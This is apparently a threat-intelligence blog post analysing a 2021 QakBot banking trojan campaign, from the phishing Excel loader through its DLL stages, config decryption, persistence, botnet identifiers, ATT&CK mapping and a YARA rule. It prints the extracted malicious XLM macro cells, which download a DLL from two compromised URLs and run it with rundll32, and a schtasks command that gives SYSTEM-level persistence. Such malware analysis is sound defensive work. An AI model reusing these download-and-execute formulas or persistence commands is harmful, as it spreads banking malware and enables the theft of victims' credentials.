A taste of the latest release of QakBot – one of the most popular and mediatic trojan bankers active since 2007.

The malware QakBot, also known as Qbot, Pinkslipbot, and Quakbot is a banking trojan that has been made headlines since 2007. This piece of malware is focused on stealing banking credentials and victim’s secrets using different techniques tactics and procedures (TTP) which have evolved over the years, including its delivery mechanisms, C2 techniques, and anti-analysis and reversing features.

Emotet is known as the most popular threat distributing QakBot in the wild, nonetheless, Emotet has been taken down recently, and QakBot operators are using specially target campaigns to disseminate this threat around the globe. Figure 1 shows two email templates distributing QakBot in Portugal in early May 2021.

Figure 1: Email template of QakBot malware targeting Portuguese Internet end users – May 2021.
h/t @MiguelSantareno – malware submitted on 0xSI_f33d


Additionally, QakBot is able to move laterally on the internal environment for stealing sensitive data, making internal persistence, or even for deploying other final payloads like ransomware. In recent reports, it could be used to drop other malware such as ProLock and Egregor ransomware. At the moment, and after the Emotet takedown, QakBot becoming one the most prominent and observed threats allowing criminals to gain a foothold on internal networks. In the next workflow, we can learn how the QakBot infection chain works.

Figure 2:
High-level diagram of QakBot malware and its capabilities.


QakBot is disseminated these days using target phishing campaigns in several languages, including Portuguese. The infection chain starts with an URL in the email body that downloads a zip archive containing an XLM or XLSM file (Excel) that takes advantage of XLM 4.0 macros to download the 2nd stage from the compromised web servers.

The 2nd stage – in a form of a DLL with random extension – is loaded into the memory using the DLL injection technique via rundll32.exe Windows utility. After that, the final payload (QakBot itself) is loaded in memory and the malicious activity is then initiated. The malware is equipped with a list of hardcoded IP addresses from its botnet, and it receives commands and updates from the C2 server, including the deployment of additional payloads like ransomware.


Dribbling AVs with XLM macros 

The malicious Office document, when opened, it poses as a DocuSign file – a popular software for signing digital documents. The malicious documents take advantage of Excel 4.0 macros (XML macros) stored in hidden sheets that download the QakBot 2nd stage payload from the Internet – malicious servers compromised by criminals. Then, the DLL is written to disk and executed using the DLL injection technique via regsvr32 or rundll32 utilities.

Figure 3: Excel document used to lure victims and download and execute the QakBot 2nd stage.


According to a publication by ReversingLabs, “among 160,000 Excel 4.0 documents, more than 90% were classified by TitaniumCloud as malicious or suspicious“.

(…) if you encounter a document that contains XLM macros, it is almost certain that its macro will be malicious, RL concluded.


Sample ClassificationCountPercentage

Table 1: Classification and distribution of documents containing XLM macros (source).


The malware families detected in the sample set by RL show that ZLoader and Quakbot are the dominant malware families in the Excel 4.0 malware ecosystem.

Figure 4: Malware family distribution using XLM macros in the wild (source).



XLSM file – QakBot loader

Filename: catalog-1712981442.xlsm
MD5: f86c6670822acb89df1eddb582cf0e90
Creation time: 2021-04-29 22:18:33

An XLSM file is a macro-enabled spreadsheet created by Microsoft Excel, a widely-used spreadsheet program included in the Microsoft Office suite. These kinds of files contain worksheets of cells arranged by rows and columns as well as embedded macros.

The compressed Microsoft Excel filenames appear to follow a naming convention beginning with document- or catalog-, followed by several digits and the .xlsm or .xls extension, for example, catalog-1712981442.xlsm.

Initially, the Excel document prompts the victim for enabling macros to start the infection chain. In detail, the Excel spreadsheet contains hidden spreadsheets – Excel 4.0 macros, spreadsheet formulas, and BIFF record all with the goal of passing a wrong visual inspection for the final user and malware analysts.

Figure 5: Only the first sheet appears when the XLSM file is opened in order to obfuscate the malicious content from the eyes of the malware researchers.


Looking at the internal XML files that are part of the Excel XLSM file, we can easily identify that exist other sheets hidden inside the document, as highlighted in Figure 6.

Figure 6: Discovering other hidden sheets inside the internal structure of the malicious XLSM doc file.


From the content highlighted above, we can see the names “Sheet1“, “Sheet2“, “Sheet3” and “Sheet4” as the total of sheets available in the document, and also that “Sheet2” will trigger something when the document is opened using the feature “xlnm.Auto_Open” call.

In short, this type of malicious documents will usually have a cell as “Auto_Open cell”, and its functionality is very similar to the “Sub AutoOpen()” function in VBA to automatically run macros when the victim press the “Enable Content” button at the start.

Just a way to confirm we are facing a malicious document, we investigated the internal file: shareString.xml – which usually contains interesting stuff such as hardcoded strings, URLs, and so on.



Figure 7: Hardcoded URLs used to download the QakBot 2nd stage via URLDownloadtoFile call and execute it using rundll32.


From this point, we know that the 2nd stage will be downloaded from the previous URLs using the URLDownloadtoFile call, but some content seems a bit obfuscated. This is the interesting part that makes XLM macros a potent initial stage to start malware infection chains.


Digging into the details, we can observe that several combinations and operations in documents cells are performed to concatenate the final string that will execute the QakBot DLL (2nd stage) into the memory.

Figure 8: Malicious code responsible for starting the QakBot 2nd stage and available on several hidden sheets.


Part of the strings extracted from the malicious Excel file are presented below:

auto_open: auto_open->Sheet2!$AO$115
SHEET: Sheet2, Macrosheet
CELL:AO134     , =SET.VALUE(AY120,AV131&AV132&AV133&AV134&AV135&AV136&AV137&"2 "), 1
CELL:AR125     , =Sheet3!AQ22:AQ22() , 0
CELL:AO129     , =WORKBOOK.HIDE("Sheet2",1.0)=WORKBOOK.HIDE("Sheet3",1.0)=WORKBOOK.HIDE("Sheet4",1.0), 1
CELL:AO127     , =FORMULA(Sheet3!AS39:AS39&Sheet3!AS40:AS40&Sheet3!AS41:AS41&Sheet3!AS42:AS42&Sheet3!AS43:AS43&Sheet3!AS44:AS44&Sheet3!AS45:AS45&Sheet3!AS46:AS46&Sheet3!AS47:AS47&Sheet3!AS48:AS48&Sheet3!AS49:AS49&Sheet3!AS50:AS50&Sheet3!AS51:AS51&Sheet3!AS52:AS52&Sheet3!AS53:AS53&Sheet3!AS54:AS54,Sheet2!AY113:AY113), 1
CELL:AO138     , =SET.VALUE(AY115,AU123), 1
CELL:AO142     , =FORMULA(AV117&AV118&AY120&Sheet3!AT39:AT39&"1"&Sheet2!AY113:AY113&Sheet2!AV139:AV139,AW148), 1
CELL:AW148     , =EXEC("rundll32 ..\jordji.nbvt11,DllRegisterServer"), 33.0
CELL:AO136     , =SET.VALUE(AY108,Sheet3!AQ39:AQ39&Sheet3!AQ40:AQ40&Sheet3!AQ41:AQ41&Sheet3!AQ42:AQ42&Sheet3!AQ43:AQ43&Sheet3!AQ44:AQ44&Sheet3!AQ45:AQ45&Sheet3!AQ46:AQ46&Sheet3!AQ47:AQ47&Sheet3!AQ48:AQ48&Sheet3!AQ49:AQ49&Sheet3!AQ50:AQ50&Sheet3!AQ51:AQ51&Sheet3!AQ52:AQ52&Sheet3!AQ53:AQ53&Sheet3!AQ54:AQ54&Sheet3!AQ55:AQ55), 1
CELL:AO145     , =AR123()            , 0
CELL:AW147     , =EXEC("rundll32 ..\jordji.nbvt1,DllRegisterServer"), 33.0
CELL:AO135     , =SET.VALUE(AY107,AV123&Sheet2!AV124:AV124&Sheet2!AV125:AV125&Sheet2!AV126:AV126&Sheet2!AV127:AV127), 1
CELL:AO133     , =SET.VALUE(AY118,Sheet3!AR39:AR39&Sheet3!AR40:AR40&Sheet3!AR41:AR41&Sheet3!AR42:AR42&Sheet3!AR43:AR43&Sheet3!AR44:AR44), 1
CELL:AW152     , =Sheet3!AT14:AT14() , 0
CELL:AT104     , ="..\jjoputi.vvt"   , ..\jjoputi.vvt
CELL:AO140     , =FORMULA(AV117&AV118&AY120&Sheet3!AT39:AT39&Sheet2!AY113:AY113&Sheet2!AV139:AV139,AW147), 1
CELL:AV123     , =CHAR(85.0)         , U

CELL:AT115     , None                , https://dentistelmhurstny.com/42te9VZqUDc/hadrt.html
CELL:AT114     , None                , https://legalopspr.com/BnUwbRV9foc/hartd.html


HEET: Sheet3, Macrosheet
CELL:AQ27      , =4984654.0+9846544.0+468464.0=CALL(Sheet2!AY107:AY107&"n",Sheet2!AY108:AY108&"A",Sheet2!AY118:AY118,Sheet3!AR49:AR49,Sheet2!AT114:AT114,Sheet3!AT39:AT39,0.0,0.0)=CALL(Sheet2!AY107:AY107&"n",Sheet2!AY108:AY108&"A",Sheet2!AY118:AY118,Sheet3!AR49:AR49,Sheet2!AT115:AT115,Sheet3!AT39:AT39&"1",0.0,0.0), 0
CELL:AT22      , =HALT()             , 1
CELL:AQ32      , =Sheet2!AW142:AW142(), 0


In order to understand in detail and reveal the clear source code, we need to learn about the BIFF8 formatSome details and workarounds were also shared in an old campaign involving the FlawedAmmyy malware here.

According to the XLM specification by Microsoft available here, all the information about the sheet, including its name, type, and stream position is kept within a BOUNDSHEET record (85h). Figure 9 shows how a Sheet type is defined and the Hidden status possible flags:

    • 00h:  visible 
    • 01h:  hidden 
    • 02h:  very hidden 

Figure 9: BIFF format and BOUNDSHEET information (85h), including sheet type and its possible status.


By analyzing the XLSM document, we can see in Figure 10 that only the first BOUNDSHEET ( 0x09 0xF0 0x00 0x00 ) has the hidden status as visible – 0x00h. The other BOUNDSHEETS are defined as very hidden using the hex value 0x02h.

Figure 10: Internal details about the malicious BOUNDSHEETS and hidden states.


Digging into the details, four BOUNDHSEET records means that the document has four sheets, but three of them are very hidden. Using a common HEX editor, we can change the values and fix the target XLSM file as depicted in Figure 11.

Figure 11: Patching the XLSM malicious file to unhide all the sheets.


As highlighted above, the values of the last bytes 0x02h and 0x01h were changed to 0x00h and 0x00h on the BOUNDSHEET related to Sheet2. The same process was done to the other BOUNDSHEETS. By opening again the malicious file, we can see now that all the sheets are available and also navigate through the source code spread on random cells.

Figure 12: Souce code available on the revealed Sheets.


During the code analysis, we found that criminals used another trick to make hard the analysis task. To prevent a casual visual inspection of these values, the font color was set to white. So, before analyzing the cells, we need to change the document background color or the font color.

By deobfuscation the formulas and reassembling the strings back to the original form, we can learn how the malicious chain starts:

    • The loader uses a VBA CALL statement to access the URLDownloadToFile function from URLMon.dll to download the 1st stage DLL from the hardcoded URLs to the local path (..\\) using a random name to the file: jordji.nbvt1.
    • Next, the DLL is loaded into the memory using the DLL injection technique via rundll32.exe utility from Windows, allowing code to be executed.
EXEC("rundll32 ..\jordji.nbvt11,DllRegisterServer")


QakBot 2nd stage – the bait loader

Filename: jordji.nbvt11
Original filename: rwenc.dll
MD5: 7d0f6c345cdaf9e290551b220d53cd14
Creation time: 2021-04-13 19:53:55

The QakBot 2nd stage is a DLL loaded in memory and its principal mission is:

    • Execute in memory the last payload (QakBot itself)
    • Make hard the malware analysis, seems a legitimate file, and adding confusion with non-used libraries, calls, and so on.


At the first glance, this DLL seems very simple, with just a few calls present on the Import Address Table (IAT). Nonetheless, something caught our eyes, the triple chain: LoadLibraryA, VirtualAlloc, and VirtualProtect. No doubt, we are facing a DLL injection technique and another payload is going to be executed in memory.

Figure 13: QakBot 2nd stage, its import table (IAT), and the well-known calls used in the DLL injection technique.



Figure 14: QakBot final stage dumped from memory.


The art of confusion … playing with bins

In another sample we have analyzed (9b1a02189e9bdf9af2f026d8409c94f7), the process of injecting the last payload into the memory is very similar, but the loader was developed in Delphi – a clear sign that criminals are adding additional layers, resources, and features to make hard the QakBot identification and its analysis/detection.

Figure 15: Identification of Delphi forms and unknown resources (encrypted QakBot DLL).


Criminals use multiple loaders like this built-in Delphi language with a lot of junk, GUI forms, and native functions from Delphi as a way of deceiving threat detection systems and hidden the last payload from the tentacles of the malware analysts.

Figure 16: A lot of Delphi native functions and forms to make hard malware detection.


The art of confusion is not new, and several trojans are using this kind of approach in their operations, such as Javali, Grandoreiro, and URSA, all of them banking trojans that come from Latin American countries.

Take a look at the code, we can find that once again the LoadLibrary call is used to execute in memory the last QakBot payload. Figure 17 highlights the parts of the code responsible for loading the final payload.

Figure 17: DLL injection technique used to load the last QakBot payload into the memory.


We got it!

Figure 18: Dumping from the memory the last stage of QakBot malware.


There is no doubt, it is the same payload just compiled on a different date (another release).

Figure 19: PE information about the QakBot last stage (stager_1.dll).


QakBot last stage – The beast

The last stage of this chain – QakBot itself – is also a DLL built with Microsoft Visual C++, the original name is stager_1.dll, and it exports only the function: DllRegisterServer. The easy way to identify the last release of the QakBot DLL, it’s looking at the two resources named “118” (C2 list) and “524” (bot config) encrypted using the RC4 algorithm.

Figure 20: Resources name found in the last release of the QakBot DLL.


An interesting detail regarding this new release is that QakBot tries to decrypt the configuration as usual. Initially, it takes the first 20 bytes of the resource and uses it as the RC4 key. After that, it takes 20 bytes from the decrypted blob and uses the bytes as a SHA1 verification for the rest of the decrypted data.

The fresh method starts here. Every time the SHA1 validations fail, QakBot tries the new decryption method. In sum, it uses the SHA1 PowerShell path hardcoded inside the binary as an RC4 key. This new approach involves the new campaigns: biden, clinton, and tr and was introduced in the 401 major version.


Figure 21: Decryption of the botconfig – resource 524.


Some samples of QakBot trojan are signed PE files with a valid signature issued by several CAs. For example, we can see this sample (cd1ab264088207f759e97305d8bf847d) is signed by Sectigo – a well-known CA also abused by developers of other kinds of threats in the past.

Figure 22: QakBot sample with a valid code sign certificate.


A popular technique used by criminals to make complicated and to waste the reverse engineer’s time analyzing is the junk code insertion. In this sense, QakBot is not an exception. The malware author added a lot of API calls that alternates between the real instructions – to enlarge the analysis time-consuming and cause disturbing when the malware executes in a sandbox environment.

Another interesting detail is that the developers of QakBot added a non-standard calling convention that makes it difficult to understand and recognize the real parameters passed to the functions. The common standard calling conventions are cdecl, stdcall, thiscall or fastcall.

Figure 23: Main code graph of QakBot malware.


The strings inside the QakBot are encrypted, decrypted in run-time, and destroyed after use (like the mediatic Emotet). Some of the strings hardcoded inside the DLL are presented below.

Figure 24: QakBot hardcoded strings.


As observed below, the strings are encrypted and stored in a continuous blob. The decryption function accepts an argument: index to the string; and then XORed it with a hardcoded byte array.


Figure 25: QakBot blob string and decryption XOR block.


After this point, some strings will be decrypted in run-time and also the API functions via a pre-computed hash based on the API functions that will resolve calls dynamically. More details about this can be found in this great article by the VinCSS blog.

Figure 26: API functions dynamically resolved during the malware execution (source).


Also important to highlight some anti-debugging and protection mechanisms used by this piece of malware. Also stated by VinCSS analysis, “if the victim machine uses Kaspersky protection (avp.exe process), QakBot will inject code into mobsync.exe instead of explorer.exe.“. We can find more details and target processes in Figure 27 below.

Figure 27: Target process list used by QakBot to execute additional payloads.


The full list of target processes can be found below:



During this analysis, QakBot injected a new payload in the target process “explorer.exe” and then a scheduled task was created as a persistence mechanism using schtasks.exe Windows utility.

"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn vcjscfpqk /tr "regsvr32.exe -s \"C:\Users\Admin\AppData\Local\Temp\k.exe.dll\"" /SC ONCE /Z /ST 01:34 /ET 01:46

Figure 28:  Process flow of the QakBot execution.


In addition, the QakBot DLL will be loaded every time using the Register Server utility, regsvr32.exe, with the following parameters:

  • /Create: schedules a new task
  • /RU “NT AUTHORITY\\SYSTEM”: executes the task with elevated system privileges
  • /tn <RANDOM_STRING>: specifies the task name, seemingly using a random string
  • /tr “regsvr32.exe -s \\”<PAYLOAD>”: the process to be executed, in this case, regsvr32 is passed a malicious dynamic link library (DLL)
  • /SC ONCE: task scheduled to execute once at the specified time
  • /Z: delete the task upon completion of the schedule
  • /ST <Now + 3 minutes as hh:mm>: start time, used by the ONCE schedule; and
  • /ET <Now + 15 minutes as hh:mm>: end time, used by the ONCE schedule.


Botnet hardcoded IP Addresses

Campaign: 1618935072
Botnet: tr
Version: 402.12
URL tria.ge: https://tria.ge/210502-aek3yedsfj

Figure 29: QakBot config – campaign: 1618935072.


Botnet full list:


Botnet and campaign identifiers

The following botnet and campaign identifiers have been observed last weeks (since March 2021) with those behind Qakbot recently using US President names:

abc025 - 1603896786
biden01 - 1613753447
biden02 - 1614254614
biden03 - 1614851222
biden09 - 1614939927
obama07 - 1614243368
obama08 - 1614855149
obama09 - 1614939797
tr - 1614598087
tr - 1618935072


Mitre Att&ck Matrix

Defense EvasionT1027Obfuscated Files or InformationQakBot XLM files are obfuscated and sheets are hidden.
Defense EvasionT1027.002Obfuscated Files or Information: Software PackingEvery binary and config is obfuscated and encrypted using RC4 cipher.
Execution, Persistence, Privilege EscalationT1053Scheduled Task/JobQakBot creates tasks to maintain persistence.
Execution, Persistence, Privilege EscalationT1053.005Scheduled Task/Job: Scheduled TaskQakBot uses this TTP as a way of executing every time the malicious DLL.
Defense Evasion, Privilege EscalationT1055Process InjectionQakBot uses Process Injection to load into the memory some payloads.
Defense Evasion, Privilege EscalationT1055.001Process Injection: Dynamic-link Library InjectionDLL injection is used to load QakBot via rundll32 Windows utility.
Collection, Credential AccessT1056Input CaptureQakBot collects credentials and sensitive data from the victim’s devices.
 DiscoveryT1057Process DiscoveryQakBot performs process discovery.
DiscoveryT1082System Information DiscoveryQakBot obtains the list of processes and other details.
Discovery,  Defense EvasionT1497Virtualization/Sandbox EvasionAnti-VM and sandbox techniques are used to evade detection.
Discovery,  Defense EvasionT1497.003Virtualization/Sandbox Evasion: Time Based EvasionTime-based evasion is checked during the malware run time.
DiscoveryT1518Software DiscoveryA list of the installed software is obtained.
DiscoveryT1518.001Software Discovery: Security Software DiscoveryInstalled AVs and other security software are obtained.


Final Thoughts

QakBot is a sophisticated trojan designed to collect banking information from victims’ devices. This piece of malware is targeting mostly US organizations and it is equipped with a variety of evasion and info-stealing routines as well as worm-like functions to make it persistent. In recent reports, it could be used to drop other malware such as ProLock, Egregor ransomware.

QakBot is a challenging threat with capabilities to avoid dynamic analysis in automatic sandboxes with the delayed executions present in its dropper as well as other tricks. With this capability in place, interactive sandboxes, for instance, won’t extract IoCs and artifacts from the malware easily.

Last but not least, thanks to all the guys who contributed to this analysis and mentioned in the reference section below .


Yara Rule

import "pe"
rule QakBot_May_2021 {
    description = "Yara rule for QakBot trojan - May version"
    author = "SI-LAB - https://seguranca-informatica.pt"
    last_updated = "2021-05-04"
    tlp = "white"
    category = "informational"

        $ident_a = {69 6E 66 6C 61 74 65}
        $ident_b = {64 65 66 6C 61 74 65}

    	  filesize < 500KB
    	  and pe.characteristics & pe.DLL
        and pe.exports("DllRegisterServer")
        and all of ($ident_*)   

Yara rule can be found on GitHub.